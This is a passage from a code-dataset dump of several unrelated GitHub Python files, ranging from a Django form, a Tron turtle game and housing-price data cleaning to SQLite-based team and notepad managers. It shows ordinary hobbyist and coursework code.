widget=forms.Textarea(),\n required=True\n )\n\n natureza_processo = forms.CharField(\n label='Natureza do processo',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=False\n )\n\n parecer = forms.CharField(\n label='Parecer',\n widget=forms.TextInput(attrs={\n 'class': 'form-control form-control-alternative'}),\n required=False\n )\n\n user_data = forms.ModelChoiceField(\n label='Dados cadastrados',\n widget=forms.Select(\n attrs={'class': 'form-control'}\n ),\n queryset=UserData.objects.all(),\n required=True\n )\n","repo_name":"barretomateus/sistema_processos","sub_path":"src/processos/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"30928203090","text":"# -- coding: utf-8 --\n# @Time : 2022/5/19 10:06\n# @Author : HK\n# @File : 036.py\nfrom collections import deque\n\nclass Solution:\n def evalRPN(self, tokens: [str]) -> int:\n tmp = None\n stack = deque([])\n for t in tokens:\n if len(stack) >= 2 and t in [\"+\",\"-\",\"*\",\"/\"]:\n n2 = stack.pop()\n n1 = stack.pop()\n if t == \"+\": tmp = n1+n2\n if t == \"-\": tmp = n1-n2\n if t == \"*\": tmp = n1*n2\n if t == \"/\": tmp = int(n1/n2)\n stack.append(tmp)\n continue\n stack.append(int(t))\n if tmp is None:\n # 没有操作\n return 0\n else:\n return tmp\n\n\n\nif __name__ == '__main__':\n tokens = [\"10\", \"6\", \"9\", \"3\", \"+\", \"-11\", \"*\", \"/\", \"*\", \"17\", \"+\", \"5\", \"+\"]\n tokens = [\"4\",\"13\",\"5\",\"/\",\"+\"]\n tokens = [\"4\"]\n s = Solution()\n res = s.evalRPN(tokens)\n print(res)\n print(6/10)\n print(6//10)\n print(6//-10)\n print(6/-10)\n print(int(6/-10))\n","repo_name":"hukang12/Leetcode","sub_path":"剑指offer/day12-栈(√)/036.py","file_name":"036.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"35305986914","text":"import numpy as np\nimport pandas as pd\n\ndef distance_matrices(matrix1, matrix2):\n\t\"\"\"Computing the distance between 2 matrices\"\"\"\n\tmatrix1 = np.array(matrix1, dtype = np.float32)\n\tmatrix2 = np.array(matrix2, dtype = np.float32)\n\treturn np.sum(np.abs(matrix1 - matrix2))\n\ndef balance_range(matrix1, matrix2):\n\t\"\"\"Making the mean of each rows of each matrices equal\"\"\"\n\tmatrix1 = np.array(matrix1, dtype = np.float32)\n\tmatrix2 = np.array(matrix2, dtype = np.float32)\n\tavg_matrix1 = np.mean(matrix1, axis = 0)\n\tavg_matrix2 = np.mean(matrix2, axis = 0)\n\t_, n = matrix1.shape\n\tfor j in range(n):\n\t\ttmp = avg_matrix1[j] - avg_matrix2[j]\n\t\tif tmp > 0:\n\t\t\tmatrix2[:, j] = matrix2[:, j] + tmp\n\t\telif tmp < 0:\n\t\t\tmatrix1[:, j] = matrix1[:, j] - tmp\n\treturn (matrix1, matrix2)\n\nclass DataComparator():\n\t\"\"\"This class is used for creating a comparator\"\"\"\n\tX_train = np.array([])\n\tsplits = {}\n\n\t# def __init__(self, X_test, X_train):\n\t# \tself.X_test = np.array(X_test, dtype = np.float32)\n\t# \tself.X_train = np.array(X_train, dtype = np.float32)\n\n\tdef fit(self, X_train, y_train):\n\t\tself.X_train = np.array(X_train, dtype = np.float32)\n\t\tfor i, j in enumerate(np.unique(y_train)):\n\t\t\ttmp = np.where(y_train == j)[0]\n\t\t\t# print(tmp)\n\t\t\tstart = tmp[0]\n\t\t\tm = len(tmp)\n\t\t\tfor k in range(1, m):\n\t\t\t\tif (tmp[k] - tmp[k - 1] != 1):\n\t\t\t\t\tend = tmp[k - 1] + 1\n\t\t\t\t\tif self.splits.get(j) == None:\n\t\t\t\t\t\tself.splits[j] = [(start, end)]\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.splits.get(j).append((start, end))\n\t\t\t\t\tstart = tmp[k]\n\t\t\t\tif k == m - 1:\n\t\t\t\t\tif self.splits.get(j) == None:\n\t\t\t\t\t\tself.splits[j] = [(start, tmp[k] + 1)]\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.splits.get(j).append((start, tmp[k] + 1))\n\t\t\n\t\t# Optimizing type = 5\n\t\ttype_5_groups = self.splits.get(5)\n\t\tn = len(type_5_groups)\n\t\tfor i in range (n - 1, -1, -1):\n\t\t\tgroup = type_5_groups[i]\n\t\t\tif group[1] - group[0] > 100 or group[1] - group[0] < 15:\n\t\t\t\ttype_5_groups.remove(group)\n\n\tdef predict(self, X_test, type, features, epsilon, window, accept_window):\n\t\tX_test = np.array(X_test, dtype = np.float32)\n\t\t# Number of samples\n\t\tm = len(X_test)\n\t\ty_pred = np.zeros((m, 1))\n\t\tgroups = self.splits.get(type)\n\t\t# print(groups)\n\t\tif groups == None:\n\t\t\tprint(\"We don't have this type of data in the training set\")\n\t\telse:\n\t\t\tstart = 0\n\t\t\tcount = 0\n\t\t\twhile start <= m - window:\n\t\t\t\tX_test_window = X_test[start: start + window, features]\n\t\t\t\tfor train_start, train_end in groups:\n\t\t\t\t\tcount += 1\n\t\t\t\t\t# print(train_start, train_end)\n\t\t\t\t\tfor i in range(train_start, train_end - window + 1):\n\t\t\t\t\t\t# tmp1, tmp2 = balance_range(X_test_window, self.X_train[i: i + window, features])\n\t\t\t\t\t\t# print(tmp1, tmp2)\n\n\t\t\t\t\t\ttmp1 = X_test_window\n\t\t\t\t\t\ttmp2 = self.X_train[i: i + window, features]\n\t\t\t\t\t\t# print(tmp1, tmp2)\n\t\t\t\t\t\tif distance_matrices(tmp1, tmp2) <= epsilon:\n\t\t\t\t\t\t\ty_pred[start: start + accept_window] = type\n\t\t\t\t\t\t\tstart += accept_window - 1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tif y_pred[start] == type:\n\t\t\t\t\t\tbreak\n\t\t\t\tstart += 1\n\t\t\t\n\t\t\t# Handle the leftover of test set (number of left samples < window)\n\t\t\tif start < m:\n\t\t\t\twindow = m - start\n\t\t\t\taccept_window = window\n\t\t\t\tX_test_window = X_test[start: start + window, features]\n\t\t\t\tfor train_start, train_end in groups:\n\t\t\t\t\tcount += 1\n\t\t\t\t\tfor i in range(train_start, train_end - window + 1):\n\t\t\t\t\t\t# tmp1, tmp2 = balance_range(X_test_window, self.X_train[i: i + window, features])\n\n\t\t\t\t\t\ttmp1 = X_test_window\n\t\t\t\t\t\ttmp2 = self.X_train[i: i + window, features]\n\t\t\t\t\t\tif distance_matrices(tmp1, tmp2) <= epsilon:\n\t\t\t\t\t\t\ty_pred[start: start + accept_window] = type\n\t\t\t\t\t\t\tstart += accept_window - 1\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tif y_pred[start] == type:\n\t\t\t\t\t\tbreak\n\n\t\t\t# print(\"count\", count)\n\t\treturn(y_pred)\n\n\tdef validate(self, y_true, y_pred, type):\n\t\tm = len(y_true)\n\t\ttp = 0\n\t\tfp = 0\n\t\tfn = 0\n\t\tp = 0\n\t\tr = 0\n\t\tfor i in range (m):\n\t\t\tif y_true[i] == type and y_pred[i] == type:\n\t\t\t\ttp += 1\n\t\t\telif y_true[i] != type and y_pred[i] == type:\n\t\t\t\t# print(i)\n\t\t\t\tfp += 1\n\t\t\telif y_true[i] == type and y_pred[i] != type:\n\t\t\t\t# print(i)\n\t\t\t\tfn += 1\n\t\ttry:\n\t\t\tp = tp / (tp + fp)\n\t\t\tr = tp / (tp + fn)\n\t\t\tprint(tp, fp, fn)\n\t\texcept:\n\t\t\tpass\n\t\treturn (p, r)\n\n\t# Filtering already known type out of the dataset\n\tdef filter_data_by_type(self, X, y, types):\n\t\ttmp = np.where(np.isin(y, types, invert = True))[0]\n\t\tstart = tmp[0]\n\t\tfilter_splits = []\n\t\tm = len(tmp)\n\t\t# print(m)\n\t\tfor k in range(1, m):\n\t\t\tif (tmp[k] - tmp[k - 1] != 1):\n\t\t\t\tend = tmp[k - 1] + 1\n\t\t\t\tif len(filter_splits) == 0:\n\t\t\t\t\tfilter_splits = [(start, end)]\n\t\t\t\telse:\n\t\t\t\t\tfilter_splits.append((start, end))\n\t\t\t\tstart = tmp[k]\n\t\t\tif k == m - 1:\n\t\t\t\tif len(filter_splits) == 0:\n\t\t\t\t\tfilter_splits = [(start, tmp[k] + 1)]\n\t\t\t\telse:\n\t\t\t\t\tfilter_splits.append((start, tmp[k] + 1))\n\t\treturn (filter_splits)","repo_name":"KienMN/Facies-Detection-Project","sub_path":"detection/comparation/data_comparator.py","file_name":"data_comparator.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"41211814845","text":"# -*- coding: utf-8 -*-\nimport configparser\nimport dlib\nimport cv2\nclass Dynamic(object):\n\t\"\"\"docstring for Dynamic\"\"\"\n\tdef __init__(self,classfier_type):\n\t\tcf = configparser.ConfigParser()\n\t\tcf.read(\"config/config.cfg\")\n\t\tpredictor_path = cf.get(\"face_dlib\", \"predictor_path\")\n\t\tface_rec_model_path = cf.get(\"face_dlib\", \"face_rec_model_path\")\n\t\tclassfier_path = cf.get(\"face_opencv\", \"classfier_path\")\n\t\t# 1.加载正脸检测器\n\t\tself.detector = dlib.get_frontal_face_detector()\n\t\t# 2.加载人脸关键点检测器\n\t\tself.sp = dlib.shape_predictor(predictor_path)\n\t\t# 3. 加载人脸识别模型mmod_human_face_detector.dat\n\t\tself.facerec = dlib.face_recognition_model_v1(face_rec_model_path)\n\t\t#人眼识别器分类器\n\t\tself.classfier=cv2.CascadeClassifier(classfier_path)\n\n\t\tclassfier_type = cf.get(\"face_classfier\", classfier_type) # Thrones\n\t\tself.video_src = cf.get(classfier_type, \"video_src\")\n\t\tself.video_tmp = cf.get(classfier_type, \"video_tmp\")\n\t\tself.video_des = cf.get(classfier_type, \"video_des\")\n\t\tself.picture_src = cf.get(classfier_type, \"picture_src\")\n\t\tself.threshold = cf.getfloat(classfier_type, \"threshold\")\n\t\tself.mark_unknown = cf.getboolean(classfier_type, \"mark_unknown\")\n\t\tself.save_scale = cf.getfloat(classfier_type, \"save_scale\")\n\t\tself.reload_pic = cf.getboolean(classfier_type, \"reload_pic\")\n\t\tself.video_type = cf.get(classfier_type, \"video_type\")\n\t\tself.scaleFactor = cf.getfloat(classfier_type, \"scaleFactor\")\n\t\tself.minNeighbors = cf.getint(classfier_type, \"minNeighbors\")\n\t\tself.minSize = cf.getint(classfier_type, \"minSize\")\n\t\tself.begin_time = cf.getint(classfier_type, \"begin_time\")\n\t\tself.end_time = cf.getint(classfier_type, \"end_time\")\n\t\t\n\n\t\t","repo_name":"aidreamwin/facerec","sub_path":"dynamic.py","file_name":"dynamic.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"28767629876","text":"def cal(num,idx,add,sub,multi,division):\n global n , maxV, minV\n if idx == n :\n maxV = max(num,maxV)\n minV = min(num,minV)\n return\n else :\n if add :\n cal(num + num_list[idx], idx+1, add-1,sub,multi,division)\n if sub :\n cal(num - num_list[idx], idx+1, add,sub-1,multi,division)\n if multi :\n cal(num * num_list[idx], idx+1, add,sub,multi-1,division)\n if division :\n cal(int(num / num_list[idx]), idx+1, add,sub,multi,division-1)\n\nT = int(input())+1\nfor tc in range(1,T):\n maxV = -100000000\n minV = 100000000\n n = int(input().strip())\n a,b,c,d = map(int,input().strip().split())\n num_list = list(map(int,input().strip().split()))\n cal(num_list[0],1,a,b,c,d)\n print(\"#{} {}\".format(tc,abs(maxV-minV)))\n","repo_name":"sanggwon/Algorithm","sub_path":"month_3/[모의 SW 역량테스트] 숫자 만들기.py","file_name":"[모의 SW 역량테스트] 숫자 만들기.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31939422326","text":"# Créer une fonction qui prend en paramètre deux nombres\n# et retourne le plus grand de ces nombres.\n\ndef plus_grand(num1, num2):\n if num1 > num2:\n return num1\n else:\n return num2\n\n\nprint(plus_grand(123, 75))","repo_name":"DarineMvoe/python101","sub_path":"fondamentaux/exercice.py","file_name":"exercice.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"27005940883","text":"import os.path\nimport os\nimport sys\nimport cv2\nimport numpy as np\nimport tensorflow as tf\nfrom PyQt5.QtCore import Qt, QTimer\nfrom PyQt5.QtGui import QImage, QPixmap\nfrom PyQt5.QtCore import Qt, QTimer, QCoreApplication\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QPushButton, QLabel, QVBoxLayout, QWidget, QFileDialog\nfrom tensorflow.python.estimator import keras\nfrom keras.preprocessing import image\nimport numpy as np\nfrom tensorflow import keras\n\nclass NeuralNetworkApp(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.initUI()\n self.frame_counter = 0 # Счетчик кадров для именования сохраненных файлов\n self.output_dir = \"frames\" # Директория для сохранения кадров\n\n # Создаем директорию для сохранения кадров, если она не существует\n if not os.path.exists(self.output_dir):\n os.makedirs(self.output_dir)\n\n def initUI(self):\n self.setWindowTitle(\"Neural Network Video Processing\")\n self.setGeometry(100, 100, 800, 600)\n\n self.video_path = \"\"\n self.model = keras.models.load_model(\"first_model_weights.h5\")\n\n self.central_widget = QWidget()\n self.setCentralWidget(self.central_widget)\n\n self.layout = QVBoxLayout()\n self.central_widget.setLayout(self.layout)\n\n self.video_label = QLabel(self)\n self.layout.addWidget(self.video_label)\n\n self.result_label = QLabel(self)\n self.layout.addWidget(self.result_label)\n\n self.load_button = QPushButton(\"Выбрать видео\")\n self.load_button.clicked.connect(self.loadVideo)\n self.layout.addWidget(self.load_button)\n\n self.process_button = QPushButton(\"Обработать\")\n self.process_button.clicked.connect(self.processVideo)\n self.layout.addWidget(self.process_button)\n\n self.timer = QTimer(self)\n self.timer.timeout.connect(self.updateFrame)\n self.video_capture = None\n\n def loadVideo(self):\n options = QFileDialog.Options()\n options |= QFileDialog.ReadOnly\n file_path, _ = QFileDialog.getOpenFileName(self, \"Выберите видео\", \"\", \"Video Files (*.mp4 *.avi *.mkv);;All Files (*)\", options=options)\n if file_path:\n self.video_path = file_path\n\n def processVideo(self):\n if self.video_path:\n self.video_capture = cv2.VideoCapture(self.video_path)\n self.timer.start(30) # Обновляем изображение каждые 30 миллисекунд\n\n def updateFrame(self):\n ret, frame = self.video_capture.read()\n\n if ret:\n frame = cv2.resize(frame, (1600, 900)) # Изменяем размер на 50x50 пикселей\n q_img = QImage(frame.data, 1600,900, QImage.Format_RGB888)\n # Обрабатываем изображение\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Переводим из BGR в RGB\n frame = cv2.resize(frame, (150, 150)) # Изменяем размер на 50x50 пикселей\n frame = np.expand_dims(frame, axis=0) # Добавляем размерность батча\n \"\"\" self.saveFrame(frame)\"\"\"\n prediction = self.model.predict(frame)\n\n # Определяем класс изображения\n class_index = np.argmax(prediction)\n result_text = f\"Класс: {class_index}, Вероятности: {prediction[0]}\"\n self.result_label.setText(result_text)\n print(result_text)\n\n # Отображаем изображение в GUI\n h, w = frame.shape[:2] # Получаем только высоту и ширину изображения\n ch = 3 # Задаем количество каналов (RGB)\n bytes_per_line = ch * w\n\n pixmap = QPixmap.fromImage(q_img)\n self.video_label.setPixmap(pixmap)\n QCoreApplication.processEvents()\n else:\n self.timer.stop()\n if self.video_capture.isOpened():\n self.video_capture.release()\n self.video_label.clear()\n\"\"\"\n def saveFrame(self, frame):\n # Формируем имя файла для сохранения\n filename = os.path.join(self.output_dir, f\"frame_{self.frame_counter:04d}.jpg\")\n\n # Сохраняем изображение\n cv2.imwrite(filename, cv2.cvtColor(frame[0], cv2.COLOR_RGB2BGR))\n\n self.frame_counter += 1\n \"\"\"\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = NeuralNetworkApp()\n window.show()\n sys.exit(app.exec_())\n","repo_name":"IgorKragel/pythonRZD","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31094482562","text":"import FreeCAD\nimport ifcopenshell\nfrom PySide2 import QtCore, QtGui, QtWidgets\nimport time\n\n\nclass ViewProvider:\n\n \"\"\"A simple view provider to gather children\"\"\"\n\n def __init__(self, vobj):\n vobj.Proxy = self\n\n def attach(self, vobj):\n self.Object = vobj.Object\n\n def claimChildren(self):\n children = []\n relprops = [\"Item\", \"ForLayerSet\"] # properties that actually store parents\n for prop in self.Object.PropertiesList:\n if prop.startswith(\"Relating\") or (prop in relprops):\n continue\n else:\n value = getattr(self.Object, prop)\n if hasattr(value, \"ViewObject\"):\n children.append(value)\n elif isinstance(value, list):\n for item in value:\n if hasattr(item, \"ViewObject\"):\n children.append(item)\n for parent in self.Object.InList:\n for prop in parent.PropertiesList:\n if prop.startswith(\"Relating\") or (prop in relprops):\n value = getattr(parent, prop)\n if value == self.Object:\n children.append(parent)\n return children\n\n\ndef create(ifcentity):\n \"\"\"The main function that creates objects and fills properties\"\"\"\n\n name = \"Entity\" + str(ifcentity.id())\n obj = FreeCAD.ActiveDocument.getObject(name)\n if obj:\n return obj\n obj = FreeCAD.ActiveDocument.addObject(\"App::FeaturePython\", name)\n if getattr(ifcentity, \"Name\", None):\n obj.Label = ifcentity.Name\n else:\n obj.Label = ifcentity.is_a()\n for attr, value in ifcentity.get_info().items():\n if attr not in obj.PropertiesList:\n if attr == \"id\":\n attr = \"StepId\"\n elif attr == \"type\":\n attr = \"Type\"\n elif attr == \"Name\":\n continue\n if hasattr(obj, attr):\n continue\n elif isinstance(value, int):\n obj.addProperty(\"App::PropertyInteger\", attr, \"IFC\")\n setattr(obj, attr, value)\n elif isinstance(value, float):\n obj.addProperty(\"App::PropertyFloat\", attr, \"IFC\")\n setattr(obj, attr, value)\n elif isinstance(value, ifcopenshell.entity_instance):\n value = create(value)\n obj.addProperty(\"App::PropertyLink\", attr, \"IFC\")\n setattr(obj, attr, value)\n elif isinstance(value, (list, tuple)) and value:\n if isinstance(value[0], ifcopenshell.entity_instance):\n nvalue = []\n for elt in value:\n nvalue.append(create(elt))\n obj.addProperty(\"App::PropertyLinkList\", attr, \"IFC\")\n setattr(obj, attr, nvalue)\n else:\n obj.addProperty(\"App::PropertyString\", attr, \"IFC\")\n if value is not None:\n setattr(obj, attr, str(value))\n for parent in ifcfile.get_inverse(ifcentity):\n create(parent)\n if FreeCAD.GuiUp:\n ViewProvider(obj.ViewObject)\n return obj\n\n\n# main\n\nfilepath = QtWidgets.QFileDialog.getOpenFileName(\n None, \"Select IFC File\", None, \"IFC Files (*.ifc)\"\n)[0]\nstime = time.time()\nifcfile = ifcopenshell.open(filepath)\nproject = ifcfile.by_type(\"IfcProject\")[0]\nif not FreeCAD.ActiveDocument:\n FreeCAD.newDocument()\ncreate(project)\nFreeCAD.ActiveDocument.recompute()\nendtime = \"%02d:%02d\" % (divmod(round(time.time() - stime, 1), 60))\nlenobjects = str(len(FreeCAD.ActiveDocument.Objects)) + \" objects\"\nprint(\"Import done:\", endtime, \",\", lenobjects)\n","repo_name":"yorikvanhavre/BIM_Workbench","sub_path":"utils/ifctree.py","file_name":"ifctree.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":316,"dataset":"github-code","pt":"27"} +{"seq_id":"30491279733","text":"import sqlite3\nfrom importlib import reload\n\nimport api_query\nimport event_management\nimport match_management\n\nreload(match_management)\n\ndef check_team_presence(TeamNum): # returns true if present\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n\n results = c.execute('SELECT * FROM tblTeams WHERE TeamNum=(?)', (TeamNum,))\n db.commit()\n return len(results.fetchall()) == 1\n\n\ndef import_team(TeamNum, skillRating=0): # import team into tbl Team\n data = api_query.get_team_data(TeamNum)\n if not data:\n return False\n else:\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n c.execute('INSERT INTO tblTeams VALUES (?,?,?,?,?)', (TeamNum, data[0], data[1], data[2], skillRating))\n db.commit()\n\n\ndef refresh_team(TeamNum):\n if not check_team_presence(TeamNum):\n return False\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n skill = c.execute('SELECT * FROM tblTeams where TeamNum = (?)', (TeamNum,)).fetchall()[0][4]\n c.execute('DELETE FROM tblTeams WHERE TeamNum = (?)', (TeamNum,))\n db.commit()\n import_team(TeamNum, skill)\n\n\ndef get_team_list(EventName):\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n results = c.execute(\"SELECT RedTeam1, RedTeam2, BlueTeam1, BlueTeam2 FROM tblMatches \"\n \"JOIN tblEvents ON tblMatches.EventID = tblEvents.EventID WHERE EventName=(?)\", (EventName,)).fetchall()\n teamList = []\n for match in results:\n teamList += match\n\n return sorted(list(set(teamList)))\n\ndef get_team_skill(TeamNum):\n if not check_team_presence(TeamNum):\n return False\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n return c.execute('SELECT SkillRating FROM tblTeams where TeamNum = (?)', (TeamNum,)).fetchall()[0][0]\n\ndef update_team_skill(TeamNum, SkillRating):\n if not check_team_presence(TeamNum):\n return False\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n c.execute('UPDATE tblTeams SET SkillRating = (?) WHERE TeamNum = (?)', (SkillRating, TeamNum))\n db.commit()\n\ndef get_team_name(TeamNum):\n if not check_team_presence(TeamNum):\n return False\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n return c.execute('SELECT TeamName FROM tblTeams where TeamNum = (?)', (TeamNum,)).fetchall()[0][0]\n\ndef get_team_city(TeamNum):\n if not check_team_presence(TeamNum):\n return False\n db = sqlite3.connect(\"database.db\")\n c = db.cursor()\n return c.execute('SELECT City FROM tblTeams where TeamNum = (?)', (TeamNum,)).fetchall()[0][0]","repo_name":"Conor12345/VEX-Team-Ranker","sub_path":"team_management.py","file_name":"team_management.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"723258145","text":"import csvAnalyzer, xmlAnalyzer\n\nclass Configuration:\n def __init__(self):\n self.schema_name = 'BULLYING_DATA'\n self.dataDir = 'C:\\\\Users\\\\User\\\\Downloads\\\\BayzickBullyingData\\\\Posts'\n self.tableName = 'RawData'\n self.filesFormatFunc = lambda f : f.endswith('.xml')\n self.dataAnalyzerFun = xmlAnalyzer.parseXml\n \n #self.dataDir = 'C:\\\\Users\\\\User\\\\Downloads\\\\BayzickBullyingData\\\\Human Concensus'\n #self.tableName = 'LabelData'\n #self.filesFormatFunc = lambda f : f.endswith('.csv')\n #self.dataAnalyzerFun = lambda f: csvAnalyzer.analyzeFile(f, delimiter = ',', manipulationFunc = None, additionalConstFields = None)\n \n \n","repo_name":"pitzuach/BeatingBoolies","sub_path":"Configuration.py","file_name":"Configuration.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4030107505","text":"\"\"\"Tron, classic arcade game.\n\nExercises\n\n1. Make the tron players faster/slower.\n2. Stop a tron player from running into itself.\n3. Allow the tron player to go around the edge of the screen.\n4. How would you create a computer player?\n\"\"\"\n\nimport turtle\n\nfrom utils import square, vector\n\np1xy = vector(-100, 0)\np1aim = vector(4, 0)\np1body = set()\n\np2xy = vector(100, 0)\np2aim = vector(-4, 0)\np2body = set()\n\ndef change(aim, x, y):\n \"\"\"Change snake direction.\"\"\"\n aim.x = x\n aim.y = y\n\ndef inside(head):\n \"\"\"Return True if head inside screen.\"\"\"\n return -200 < head.x < 200 and -200 < head.y < 200\n\ndef across(head):\n '''Make the head jump across the boundaries.'''\n if head.x < -200:\n head.x = 200\n return\n if head.x > 200:\n head.x = -200\n return\n if head.y < -200:\n head.y = 200\n return\n if head.y > 200:\n head.y = -200\n return\n\n\ndef draw():\n \"\"\"Advance players and draw game.\"\"\"\n p1xy.move(p1aim)\n across(p1xy)\n \n p1head = p1xy.copy()\n\n p2xy.move(p2aim)\n across(p2xy)\n\n p2head = p2xy.copy()\n \n \n if p1head in p2body:\n print('Player red wins!')\n return\n\n if p2head in p1body:\n print('Player blue wins!')\n return\n\n p1body.add(p1head)\n p2body.add(p2head)\n\n square(p1xy.x, p1xy.y, 3, 'blue')\n square(p2xy.x, p2xy.y, 3, 'red')\n turtle.update()\n turtle.ontimer(draw, 50)\n\n\nturtle.setup(420, 420, 370, 0)\nturtle.hideturtle()\nturtle.tracer(False)\nturtle.listen()\n\nturtle.onkey(lambda: change(p1aim, 4, 0), 'Right')\nturtle.onkey(lambda: change(p1aim, -4, 0), 'Left')\nturtle.onkey(lambda: change(p1aim, 0, 4), 'Up')\nturtle.onkey(lambda: change(p1aim, 0, -4), 'Down')\n\nturtle.onkey(lambda: change(p2aim, 4, 0), 'd')\nturtle.onkey(lambda: change(p2aim, -4, 0), 'a')\nturtle.onkey(lambda: change(p2aim, 0, 4), 'w')\nturtle.onkey(lambda: change(p2aim, 0, -4), 's')\n\ndraw()\nturtle.done()\n","repo_name":"hyjwpk/python-game","sub_path":"freegames/tron.py","file_name":"tron.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11062835350","text":"import math\n\nfrom matplotlib import cm\nfrom matplotlib import gridspec\nfrom matplotlib import pyplot as plt\nimport os\nimport numpy as np\nimport pandas as pd\nfrom sklearn import metrics\nimport tensorflow as tf\nfrom tensorflow.python.data import Dataset\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\ncol = ['Address', 'Type','Area', 'Towards', 'Floor', 'Decorate', 'Feature', 'TotalPrice', 'Price']\ndict={\"\":\"2室2厅2卫\",\"\":\"3室2厅2卫\",\"\":\"4室2厅2卫\",\"\":\"1室\",\"\":\"1室1厅1卫\",\"\":\"1室2厅2卫\"}\nage=['g1','g2','g3','g4']#<3,<5,6-10,>10\npd.options.display.max_rows = 10\npd.options.display.max_columns = 9\npd.options.display.float_format = '{:.1f}'.format\n\n# 加载数据集\ndf = pd.read_csv(\"Data_test.csv\", sep=',')\ndf.drop_duplicates()\ngrade_split = pd.DataFrame((x.split('_') for x in df.Feature),index=df.index,columns=['subway','5Years','Haslift'])\ndf=pd.merge(df,grade_split,right_index=True, left_index=True)\n\ndf=df.fillna(0)\n# print(df['subway'].isnull().value_counts())\ndf.insert(1, 'g1', 1)\ndf.insert(2, 'south', 0)\ndf.insert(3, 'north', 0)\ndf.insert(4, 'east', 0)\ndf.insert(5, 'west', 0)\n\ndf['south']=[1 if \"南\" in x[0] else 0 for x in df.Towards]\ndf['north']=[1 if \"北\" in x[0] else 0 for x in df.Towards]\ndf['east']=[1 if \"东\" in x[0] else 0 for x in df.Towards]\ndf['west']=[1 if \"西\" in x[0] else 0 for x in df.Towards]\n\n\ndf.insert(6, 'FloorHigh', 0)\ndf.insert(7, 'FloorMid', 0)\ndf.insert(8, 'FloorLow', 0)\ndf['FloorHigh']=[1 if \"高\" in x else 0 for x in df.Floor]\ndf['FloorMid']=[1 if \"中\" in x else 0 for x in df.Floor]\ndf['FloorLow']=[1 if \"低\" in x else 0 for x in df.Floor]\n\ndf['subway']=[1 if x and \"距离\" in x else 0 for x in df.subway]\ndf['5Years']=[1 if x and \"满五\" in x else 0 for x in df['5Years']]\ndf['Haslift']=[1 if x and \"电梯\" in x else 0 for x in df.Haslift]\ndf['Decorate']=[1 if x and \"装修\" in x else 0 for x in df.Decorate]\n\n# df['TotalPrice']=df['TotalPrice'].apply(lambda x: x /100)\n# df['Price']=df['Price'].apply(lambda x: x /10000)\n# df['Area']=df['Area'].apply(lambda x: x /10)\n\ndel df['Address']\ndel df['Towards']\ndel df['Feature']\ndel df['Floor']\n#df['Decorate']=[1 if \"装修\" in df['Decorate'][0] else 0 for x in df.Towards]\nprint(df.head(8) )\ndf.to_csv('Data_washed.csv',index=False,sep=',')\n#df_bj_g1['rooms']=np.array(1 if df_bj_g1['Type'].index(\"1室\")>-1 else 2 if df_bj_g1['Type'].index(\"2室\")>-1 else 3 if df_bj_g1['Type'].index(\"3室\")>-1 else 4 if df_bj_g1['Type'].index(\"4室\")>-1 ).astype(np.int32)\n","repo_name":"margaretmm/pricePrediction","sub_path":"dataWasher_old.py","file_name":"dataWasher_old.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"34327633999","text":"import sqlite3\n\nconnname = 'notepad.db'\n\n\nclass ConnectDb:\n def __init__(self, name_file='notepad.db'):\n self.connstring = f'{name_file}'\n self.all_data = self.select_all_db()\n self.all_data_dict = self.from_sql_to_dict()\n\n def select_all_db(self):\n conn = sqlite3.connect(self.connstring)\n cursor = conn.cursor()\n data = cursor.execute('''SELECT * FROM notepad''')\n cursor.close()\n conn.close()\n return data\n\n def clear_db(self):\n conn = sqlite3.connect(self.connstring)\n cursor = conn.cursor()\n cursor.execute('''DELETE FROM notepad;''')\n conn.commit()\n conn.close()\n\n def update_record(self, id, subject, contents, date):\n conn = sqlite3.connect(self.connstring)\n cursor = conn.cursor()\n cursor.execute(\n f''''UPDATE notepad SET subject = '{subject}', contents = '{contents}', date = '{date}' WHERE id = {id}''')\n\n def insert_in_db(self, id, subject, contents, date):\n conn = sqlite3.connect(self.connstring)\n cursor = 